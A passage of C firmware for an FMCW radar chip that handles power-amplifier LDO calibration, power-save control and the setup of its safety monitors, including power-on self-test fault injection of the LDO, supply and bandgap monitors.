Dconst1 = pow(10,(power_th-7)/12);
else
Dconst1 = pow(10,(power_th-6.5)/12);
Dconst = (cal_on - cal_off) * Dconst1;
/* cal paon-paoff @ pa ldo = 0 */
fmcw_radio_switch_bank(radio, 1);
/* record paldo default value */
paldo_default = RADIO_READ_BANK_CH_REG_FIELD(1, channel_index, PA_LDO, LDO11_TX_PA_VOUT_SEL);
RADIO_MOD_BANK_CH_REG(1, channel_index, PA_LDO, LDO11_TX_PA_VOUT_SEL, 0);
/* set pdt pa on reg */
fmcw_radio_pdt_reg(radio, 2, channel_index);
paon_dout = fmcw_radio_auxadc2_dout(radio);
/* set pdt pa off reg */
fmcw_radio_pdt_reg(radio, 3, channel_index);
paoff_dout = fmcw_radio_auxadc2_dout(radio);
/* after pa off, we should lock frequency again */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, VCO_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
fmcw_radio_single_tone(radio, freq, true);
pa_dout = paon_dout;
Dconst2 = paon_dout - paoff_dout;
/* find the nearest paon - paoff = Dconst */
for (int pa_ldo = 1; pa_ldo <16; pa_ldo++){
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_CH_REG(1, channel_index, PA_LDO, LDO11_TX_PA_VOUT_SEL, pa_ldo);
/* set pdt pa on reg */
fmcw_radio_pdt_reg(radio, 2, channel_index);
paon_dout = fmcw_radio_auxadc2_dout(radio);
/* set pdt pa off reg */
fmcw_radio_pdt_reg(radio, 3, channel_index);
paoff_dout = fmcw_radio_auxadc2_dout(radio);
/* after pa off, we should lock frequency again */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, VCO_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
fmcw_radio_single_tone(radio, freq, true);
Dconst3 = paon_dout - paoff_dout;
if (abs(Dconst2-Dconst) > abs(Dconst3-Dconst)) {
Dconst2 = Dconst3;
pa_dout = paon_dout;
} else {
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_CH_REG(1, channel_index, PA_LDO, LDO11_TX_PA_VOUT_SEL, paldo_default);
fmcw_radio_switch_bank(radio, old_bank);
return pa_dout;
}
if (pa_ldo == 15) {
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_CH_REG(1, channel_index, PA_LDO, LDO11_TX_PA_VOUT_SEL, paldo_default);
fmcw_radio_switch_bank(radio, old_bank);
return paon_dout;
}
}
fmcw_radio_switch_bank(radio, old_bank);
return 0;
}
/* This function is used for fault injection of Safety Monitor Power ON Self Test
* fault_injection = true: enter power on self test
* fault_injection = false: leave power on self test/normal monitoring
*/
void fmcw_radio_sm_fault_injection(fmcw_radio_t *radio){
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
uint8_t *IRQ_value_ldo_monitor;
uint8_t *IRQ_value_rfpower_detector;
uint8_t IRQ_value;
/* sm_rfpower_detector fault injection */
IRQ_value_rfpower_detector = fmcw_radio_sm_rfpower_detector_fault_injection_IRQ(radio,77,5,1);
/* Read IRQ */
EMBARC_PRINTF("sm RF Power Detector fault injection\n");
for(int i = 0;i<5;i++)
EMBARC_PRINTF("IRQ_Value%d, =%d\n",i,IRQ_value_rfpower_detector[i]);
/* sm_rfpower_detector */
IRQ_value_rfpower_detector = fmcw_radio_sm_rfpower_detector_IRQ(radio,77,1);
/* Read IRQ */
EMBARC_PRINTF("sm RF Power Detector\n");
for(int i = 0;i<5;i++)
EMBARC_PRINTF("IRQ_Value%d, =%d\n",i,IRQ_value_rfpower_detector[i]);
/* sm_if_loopback fault injection */
IRQ_value = fmcw_radio_sm_if_loopback_IRQ(radio,true);
EMBARC_PRINTF("sm IF Loopback IRQ = %d\n",IRQ_value);
/* sm_rf_loopback fault injection */
IRQ_value = fmcw_radio_sm_rf_loopback_IRQ(radio,true);
EMBARC_PRINTF("sm RF Loopback IRQ = %d\n",IRQ_value);
/* sm_ldo_monitor fault injection */
IRQ_value_ldo_monitor = fmcw_radio_sm_ldo_monitor_IRQ(radio,true);
/* Read IRQ */
EMBARC_PRINTF("sm LDO Monitor\n");
for(int i = 0;i<6;i++)
EMBARC_PRINTF("IRQ_Value%d, =%d\n",i,IRQ_value_ldo_monitor[i]);
/* sm_avdd33_monitor fault injection */
IRQ_value = fmcw_radio_sm_avdd33_monitor_IRQ(radio,true);
EMBARC_PRINTF("sm AVDD33 Monitor IRQ = %d\n",IRQ_value);
/* sm_dvdd11_monitor fault injection */
IRQ_value = fmcw_radio_sm_dvdd11_monitor_IRQ(radio,true);
EMBARC_PRINTF("sm DVDD11 Monitor IRQ = %d\n",IRQ_value);
/* sm_bg_monitor fault injection */
IRQ_value = fmcw_radio_sm_bg_monitor_IRQ(radio,true);
EMBARC_PRINTF("sm BG Monitor IRQ = %d\n",IRQ_value);
/* sm_cpu_clk_lock_det fault injection */
IRQ_value = fmcw_radio_sm_cpu_clk_lock_det_IRQ(radio);
EMBARC_PRINTF("sm CPU Clock Lock Detector IRQ = %d\n",IRQ_value);
/* sm_chirp_monitor fault injection */
IRQ_value = fmcw_radio_sm_chirp_monitor_IRQ(radio,true);
EMBARC_PRINTF("sm Chirp Monitor IRQ = %d\n",IRQ_value);
/* sm_over_temp_detector fault injection */
IRQ_value = fmcw_radio_sm_over_temp_detector_IRQ(radio,true);
EMBARC_PRINTF("sm Over Temp Detector IRQ = %d\n",IRQ_value);
fmcw_radio_switch_bank(radio, old_bank);
}
/* radio 2.5V and 1.3V ldo under power save mode */
int32_t fmcw_radio_adc_fmcwmmd_ldo_on(fmcw_radio_t *radio, bool enable)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
int ch, down_idle_time, delay_time;
int pll_settling_time = 400;
/* set FMCWPLL reg in power save mode */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO3, LDO11_MMD_EN, enable);
/* leave power save */
if(enable){
/* auto dis = 0 to disable dis */
fmcw_radio_switch_bank(radio, 3);
RADIO_MOD_BANK_REG(3, AUTO_DL_DIS, SEL, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_DL_DIS, EN , 0x0);
/* dis = 0 when leaving power save mode */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, PFD_DL_DIS, 0x0);
/* auto dis = 1 when leaving power save mode */
fmcw_radio_switch_bank(radio, 3);
RADIO_MOD_BANK_REG(3, AUTO_DL_DIS, SEL, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_DL_DIS, EN , 0x1);
down_idle_time = ceil(cfg->fmcw_chirp_period - cfg->fmcw_chirp_rampup);
if (down_idle_time < pll_settling_time)
delay_time = pll_settling_time;
else
delay_time = pll_settling_time + down_idle_time;
UDELAY(delay_time);
}
/* enter power save */
else{
/* auto dis = 0 when entering power save mode */
fmcw_radio_switch_bank(radio, 3);
RADIO_MOD_BANK_REG(3, AUTO_DL_DIS, SEL, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_DL_DIS, EN , 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, ADDER_RSTN, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x0);
/* dis = 1 when entering power save mode */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, PFD_DL_DIS, 0x1);
}
/* set ADC reg in power save mode */
fmcw_radio_switch_bank(radio, 1);
for (ch = 0; ch < MAX_NUM_RX; ch++){
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, RST, 0x0);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, BUFFER_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, BUFFER_VCMBUF_EN, 0x0);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, ANALS_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, OP1_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, OP2_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, OP3_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, CMP_VCALREF_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, BIAS_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, IDAC1_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, IDAC3_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, ESL_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, REFPBUF_EN, enable);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, REFNBUF_EN, enable);
}
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
/* heck tx groups configuration to disable txlo buf for power saving purpose */
void fmcw_radio_txlobuf_on(fmcw_radio_t *radio){
sensor_config_t *cfg = (sensor_config_t *)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* enable txlo buffer */
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG3_EN, 0x1);
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG2_EN, 0x1);
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG1_EN, 0x1);
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG3_EN, 0x1);
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG2_EN, 0x1);
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG1_EN, 0x1);
/* check if txlo buffer could be off */
if ((cfg->tx_groups[0] == 0) && (cfg->tx_groups[1] == 0)){
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG3_EN, 0x0);
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG2_EN, 0x0);
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG1_EN, 0x0);
}
if ((cfg->tx_groups[2] == 0) && (cfg->tx_groups[3] == 0)){
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG3_EN, 0x0);
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG2_EN, 0x0);
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG1_EN, 0x0);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is a basic setting of Safety Monitor1: LDO Monitor */
void fmcw_radio_sm_ldo_monitor_setting(fmcw_radio_t *radio, bool fault_injection)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* Enable 800M ADC CLK */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
/* Enable safety monitor LDO */
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
/* Enable 5M AUXADC CLK and DTSDM MUXIN SEL */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, DTSDM_MUXIN_SEL, 0x3);
/* AUXADC1 on and reset */
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_BUF_BYPASS, 0x0);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_BUF_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_BIAS_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_OP1_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_OP2_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_REFGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_VCMGEN_EN, 0x1);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_RST, 0x1);
/* load trimming value from the corresponding eFuse address */
fmcw_radio_auxadc_trim(radio);
MDELAY(2);
/* AUXADC1 de-reset */
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_RST, 0x0);
/* AUXADC1 Filter de-reset */
fmcw_radio_switch_bank(radio, 2);
RADIO_WRITE_BANK_REG(2, DC_FILTER1_RST_EN, 0x01);
MDELAY(2);
/* Set threshold of 1.1V LDO Monitor */
fmcw_radio_switch_bank(radio, 10);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH11150_LOW_0, 0x11);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH11150_LOW_1, 0x91);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH11150_LOW_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1175_LOW_0, 0xDD);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1175_LOW_1, 0x9D);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1175_LOW_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1175_HIGH_0, 0x77);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1175_HIGH_1, 0xB7);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1175_HIGH_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH11150_HIGH_0, 0x44);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH11150_HIGH_1, 0xC4);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH11150_HIGH_2, 0x1);
/* power on self test */
if (fault_injection){
EMBARC_PRINTF("reached sm ldo monitor fault injection\n");
/* enable LDO Monitor of REFPLL_VCO */
fmcw_radio_switch_bank(radio, 10);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_EN_3, 0x01);
}
/* monitoring */
else{
/* Set threshold of 1V LDO Monitor */
fmcw_radio_switch_bank(radio, 10);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH10150_LOW_0, 0xE0);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH10150_LOW_1, 0x83);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH10150_LOW_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1075_LOW_0, 0xE0);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1075_LOW_1, 0x83);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1075_LOW_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1075_HIGH_0, 0x6C);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1075_HIGH_1, 0xB2);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1075_HIGH_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH10150_HIGH_0, 0x6C);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH10150_HIGH_1, 0xB2);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH10150_HIGH_2, 0x1);
/* Set threshold of 1.2V LDO Monitor */
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH12150_LOW_0, 0x41);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH12150_LOW_1, 0x9E);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH12150_LOW_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1275_LOW_0, 0x37);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1275_LOW_1, 0xAC);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1275_LOW_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1275_HIGH_0, 0x25);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1275_HIGH_1, 0xC8);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1275_HIGH_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH12150_HIGH_0, 0x1B);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH12150_HIGH_1, 0xD6);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH12150_HIGH_2, 0x1);
/* Set threshold of 1.3V LDO Monitor */
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH13150_LOW_0, 0x71);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH13150_LOW_1, 0xAB);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH13150_LOW_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1375_LOW_0, 0x91);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1375_LOW_1, 0xBA);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1375_LOW_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1375_HIGH_0, 0xD3);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1375_HIGH_1, 0xD8);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH1375_HIGH_2, 0x1);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH13150_HIGH_0, 0xF3);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH13150_HIGH_1, 0xE7);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH13150_HIGH_2, 0x1);
/* Set threshold of 2.5V LDO Monitor */
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH25150_LOW_0, 0xB2);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH25150_LOW_1, 0x49);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH25150_LOW_2, 0x2);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH2575_LOW_0, 0x7C);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH2575_LOW_1, 0x70);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH2575_LOW_2, 0x2);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH2575_HIGH_0, 0x45);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH2575_HIGH_1, 0x97);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH2575_HIGH_2, 0x2);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH25150_HIGH_0, 0x0F);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH25150_HIGH_1, 0xBE);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_VTH25150_HIGH_2, 0x2);
/* Enable LDO Monitor */
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_EN_0, 0xFE);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_EN_1, 0x7F);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_EN_2, 0xFF);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_EN_3, 0xFF);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_EN_4, 0x7F);
}
/* Set threshold of LDO Monitor timing */
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_TIME_CNT_1, 0x3F);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_CTU_SIZE, 0x40);
RADIO_WRITE_BANK_REG(10, LDO_MONITOR_RSTN, 0x1);
/* Clear IRQ of LDO Monitor */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_LDO_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_LDO_CLEAR, 0x0);
/* Start LDO Monitor */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_LDO_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_LDO_TEST_START, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is ldo on setting of Safety Monitor1: LDO Monitor */
uint8_t* fmcw_radio_sm_ldo_monitor_ldo_on(fmcw_radio_t *radio, bool fault_injection){
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
static uint8_t old_ldo[5];
/* enable LDO for lomuxio, tx, bist and LVDS, in normal operation they are disabled */
old_ldo[0] = RADIO_READ_BANK_REG(0,LO_LDO1);
RADIO_MOD_BANK_REG(0, LO_LDO1, LDO11_LOMUXIO_EN, 0x1);
fmcw_radio_switch_bank(radio, 1);
old_ldo[1] = RADIO_READ_BANK_REG(1,TX_LDO_EN);
RADIO_WRITE_BANK_REG(1,TX_LDO_EN,0xff);
fmcw_radio_switch_bank(radio, 2);
old_ldo[2] = RADIO_READ_BANK_REG(2,BIST_LDO);
RADIO_MOD_BANK_REG(2, BIST_LDO, LDO11_BIST_EN, 0x1);
old_ldo[3] = RADIO_READ_BANK_REG(2,LVDS_LDO25);
RADIO_MOD_BANK_REG(2, LVDS_LDO25, LDO25_LVDS_LDO_EN, 0x1);
/* power on self test */
if (fault_injection){
/* set vco voltage selection to highest vaule */
fmcw_radio_switch_bank(radio, 0);
old_ldo[4] = RADIO_READ_BANK_REG(0,REFPLL_LDO2);
RADIO_MOD_BANK_REG(0, REFPLL_LDO2, LDO11_VCO_VSEL, 0x7);
}
fmcw_radio_switch_bank(radio, old_bank);
return old_ldo;
}
/* This function is ldo off setting of Safety Monitor1: LDO Monitor */
void fmcw_radio_sm_ldo_monitor_ldo_off(fmcw_radio_t *radio, bool fault_injection, uint8_t* old_ldo){
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* disable LDO for lomuxio, tx, bist and LVDS for normal operation */
RADIO_WRITE_BANK_REG(0, LO_LDO1, old_ldo[0]);
fmcw_radio_switch_bank(radio, 1);
RADIO_WRITE_BANK_REG(1,TX_LDO_EN,old_ldo[1]);
fmcw_radio_switch_bank(radio, 2);
RADIO_WRITE_BANK_REG(2, BIST_LDO, old_ldo[2]);
RADIO_WRITE_BANK_REG(2, LVDS_LDO25, old_ldo[3]);
/* power on self test */
if (fault_injection){
/* set vco voltage selection to highest vaule */
fmcw_radio_switch_bank(radio, 0);
RADIO_WRITE_BANK_REG(0, REFPLL_LDO2, old_ldo[4]);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is a basic setting of Safety Monitor2: AVDD33 Monitor */
void fmcw_radio_sm_avdd33_monitor_setting(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* Enable safety monitor LDO */
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
/* Enable AVDD33 Monitor */
RADIO_MOD_BANK_REG(0, TEST_CBC2, CBC33_MONITOR_RDAC_EN, 0x1);
RADIO_MOD_BANK_REG(0, TEST_CBC2, CBC33_MONITOR_EN, 0x1);
/* Clear IRQ of LDO Monitor */
fmcw_radio_switch_bank(radio, 10);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_CBC33_CLEAR, 0x1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_CBC33_CLEAR, 0x0);
/* Start LDO Monitor */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_CBC33_TEST_START, 0x1);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_CBC33_TEST_START, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is threashold setting for Safety Monitor2: AVDD33 Monitor
* fault_injection = true: enter power on self test
* fault_injection = false: leave power on self test/normal monitoring
*/
void fmcw_radio_sm_avdd33_monitor_threshold(fmcw_radio_t *radio, bool fault_injection){
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* power on self test */
if (fault_injection){
EMBARC_PRINTF("reached sm avdd33 monitor fault injection\n");
/* Set threshold of AVDD33 LDO Monitor as 0 */
RADIO_WRITE_BANK_REG(0, CBC33_MONITOR0, 0x00);
RADIO_WRITE_BANK_REG(0, CBC33_MONITOR1, 0x00);
}
else{
/* Set threshold of AVDD33 Monitor */
RADIO_WRITE_BANK_REG(0, CBC33_MONITOR0, 0x43);
RADIO_WRITE_BANK_REG(0, CBC33_MONITOR1, 0xBA);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is a basic setting of Safety Monitor3: DVDD11 Monitor */
void fmcw_radio_sm_dvdd11_monitor_setting(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* Enable safety monitor DVDD11 */
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
/* Enable DVDD11 Monitor */
RADIO_MOD_BANK_REG(0, TEST_CBC2, DVDD11_MONITOR_EN, 0x1);
/* Clear IRQ of DVDD11 Monitor */
fmcw_radio_switch_bank(radio, 10);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_DVDD11_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_DVDD11_CLEAR, 0x0);
/* Start DVDD11 Monitor */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_DVDD11_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_SUPPLY_DVDD11_TEST_START, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is threashold setting for Safety Monitor3: DVDD11 Monitor
* fault_injection = true: enter power on self test
* fault_injection = false: leave power on self test/normal monitoring
*/
void fmcw_radio_sm_dvdd11_monitor_threshold(fmcw_radio_t *radio, bool fault_injection){
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* power on self test */
if (fault_injection){
EMBARC_PRINTF("reached sm dvdd11 monitor fault injection\n");
RADIO_MOD_BANK_REG(0, DVDD11_MONITOR, DVDD11_MONITOR_VHSEL, 0x0);
RADIO_MOD_BANK_REG(0, DVDD11_MONITOR, DVDD11_MONITOR_VLSEL, 0x0);
}
else{
/* Set threshold of DVDD11 Monitor */
RADIO_MOD_BANK_REG(0, DVDD11_MONITOR, DVDD11_MONITOR_VHSEL, 0x1);
RADIO_MOD_BANK_REG(0, DVDD11_MONITOR, DVDD11_MONITOR_VLSEL, 0x1);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is a basic setting of Safety Monitor4: Bandgap Voltage Monitor */
void fmcw_radio_sm_bg_monitor_setting(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* Enable safety monitor BG */
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
/* Enable BG Monitor */
RADIO_MOD_BANK_REG(0, TEST_CBC2, VBG_MONITOR_EN, 0x1);
/* Clear IRQ of BG Monitor */
fmcw_radio_switch_bank(radio, 10);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_VBG_CLEAR, 0x1);
UDELAY(100);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_VBG_CLEAR, 0x0);
/* Start BG Monitor */
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_VBG_TEST_START, 0x1);
UDELAY(300);
RADIO_MOD_BANK_REG(10, ITF_IRQ_CTRL_1, ITF_VBG_TEST_START, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is threashold setting for Safety Monitor4: BG Monitor
* fault_injection = true: enter power on self test
* fault_injection = false: leave power on self test/normal monitoring
*/
void fmcw_radio_sm_bg_monitor_threshold(fmcw_radio_t *radio, bool fault_injection){
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* power on self test */
if (fault_injection){
EMBARC_PRINTF("reached sm bg monitor fault injection\n");
RADIO_MOD_BANK_REG(0, VBG_MONITOR, VBG_MONITOR_VHSEL, 0x0);
RADIO_MOD_BANK_REG(0, VBG_MONITOR, VBG_MONITOR_VLSEL, 0x0);
}
else{
/* Set threshold of BG Monitor */
RADIO_MOD_BANK_REG(0, VBG_MONITOR, VBG_MONITOR_VHSEL, 0x1);
RADIO_MOD_BANK_REG(0, VBG_MONITOR, VBG_MONITOR_VLSEL, 0x1);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* This function is threashold setting for Safety Monitor4: BG Monitor
* fault_injection = true: enter power on self test, firmware fleet and restore, IRQ = 0
* fault_injection = false: normal monitoring, if not safe, firmware fleet
*/
void fmcw_radio_sm_cpu_clk_lock_det_fault_injection(fmcw_radio_t *radio, bool fault_injection){
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* power on self test */
if (fault_injection){
